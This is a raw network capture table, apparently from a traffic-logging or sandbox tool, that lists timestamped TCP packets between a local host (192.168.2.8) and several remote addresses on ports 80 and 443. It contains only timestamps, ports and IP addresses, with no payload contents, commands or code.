Nov 24, 2024 19:11:52.192233086 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.192234993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.192243099 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.192249060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.192284107 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.192303896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.192305088 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.193152905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.193217039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.193305969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.193347931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.193923950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.193974972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.193978071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.194020033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.194658995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.194720030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.195046902 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195055962 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195079088 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195086956 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195117950 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195121050 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.195126057 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195147038 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.195174932 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.195179939 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.195591927 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.195806026 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.195858002 CET	49804	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.196643114 CET	49804	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.196656942 CET	443	49804	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.202836990 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.202876091 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.202883959 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.202898026 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.202903986 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.202913046 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.202965021 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.212768078 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.212778091 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.212809086 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.212841988 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.212847948 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.212861061 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.212910891 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.217405081 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.217422009 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.217498064 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.217508078 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.219676971 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.219918966 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.219949007 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.220323086 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.220632076 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.220706940 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.220848083 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.220869064 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.220875978 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.223346949 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.223434925 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.223444939 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.223469973 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.223495960 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.223522902 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.224872112 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.224893093 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.224937916 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.224946022 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.224975109 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.227922916 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.227988005 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.227997065 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.247492075 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.247586966 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.247586966 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.247613907 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.247651100 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.247663975 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.263207912 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.263236046 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.263279915 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.263292074 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.263340950 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.263340950 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.299207926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.299225092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.299276114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.299320936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.299576998 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.299616098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.299621105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.299659967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.300854921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.300910950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.301126957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.301270962 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.301336050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.302062988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.302133083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.302140951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.302171946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.303369999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.303425074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.303536892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.303576946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.304461002 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.304512978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.304522991 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.304562092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.305294037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.305351973 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.305433989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.305521965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.306128979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.306179047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.306231976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.306328058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.306999922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.307054996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.307137966 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.307183981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.307800055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.307857990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.307885885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.307934999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.308687925 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.308759928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.308806896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.308903933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.309799910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.309849977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.309909105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.309997082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.310740948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.310794115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.310801983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.310838938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.311391115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.311440945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.311517954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.311667919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.312177896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.312231064 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.312304974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.312390089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.312988997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.313071012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.313110113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.313150883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.314433098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.314479113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.314492941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.314532995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.314981937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.315026999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.315089941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.315237045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.315831900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.315850019 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.315876007 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.315922022 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.315939903 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.315963030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.315963030 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.315969944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.315985918 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.316016912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.316802025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.316854000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.316930056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.316979885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.317655087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.317702055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.317776918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.317821980 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.318610907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.318666935 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.318841934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.318922043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.319561005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.319617033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.319683075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.319741011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.320493937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.320543051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.320594072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.320636988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.321501017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.321551085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.321615934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.321664095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.322350025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.322424889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.322474957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.322524071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.323292971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.323343992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.323429108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.323477983 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.324424982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.324435949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.324480057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.325259924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.325329065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.325382948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.325429916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.330549955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.330563068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.330573082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.330585957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.330596924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.330609083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.330610037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.330642939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.330662012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.332613945 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.332639933 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.332715988 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.332726002 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.332849979 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.342816114 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.342837095 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.342895031 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.342905998 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.343067884 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.353790045 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.357080936 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.357104063 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.357148886 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.357160091 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.357192993 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.357208014 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.368046045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.368103981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.368181944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.368227005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.368484020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.368495941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.368530035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.368547916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.368771076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.368788004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.368818998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.368830919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.369615078 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.369627953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.369679928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.369995117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.370043039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.370341063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.370399952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.370623112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.370635033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.370673895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.371099949 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.371120930 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.371179104 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.371193886 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.371280909 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.372145891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.372158051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.372208118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.372879028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.372942924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.373091936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.373140097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.373944044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.373956919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.373994112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.374619961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.374692917 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.374799967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.374856949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.375499964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.375511885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.375556946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.376372099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.376529932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.376554012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.376591921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.377202034 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.377214909 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.377244949 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.377257109 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.377270937 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.377278090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.377279997 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.377285004 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.377321005 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.377351046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.377351999 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.379988909 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.380036116 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.380059004 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.380068064 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.380084991 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.380086899 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.380116940 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.380125046 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.380141020 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.380151033 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.380160093 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.380191088 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.380199909 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.380594015 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.380618095 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.386806965 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.386816025 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.386842966 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.386853933 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.386887074 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.386904001 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.386931896 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.386943102 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.389645100 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.389652967 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.389713049 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.389723063 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.396301031 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.396317959 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.396343946 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.396379948 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.396390915 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.396424055 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.399178028 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.399256945 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.399267912 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.405873060 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.405889988 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.405913115 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.405940056 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.405951977 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.405996084 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.408966064 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.409043074 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.409054041 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.412641048 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.412710905 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.412722111 CET	443	49791	23.209.72.40	192.168.2.8
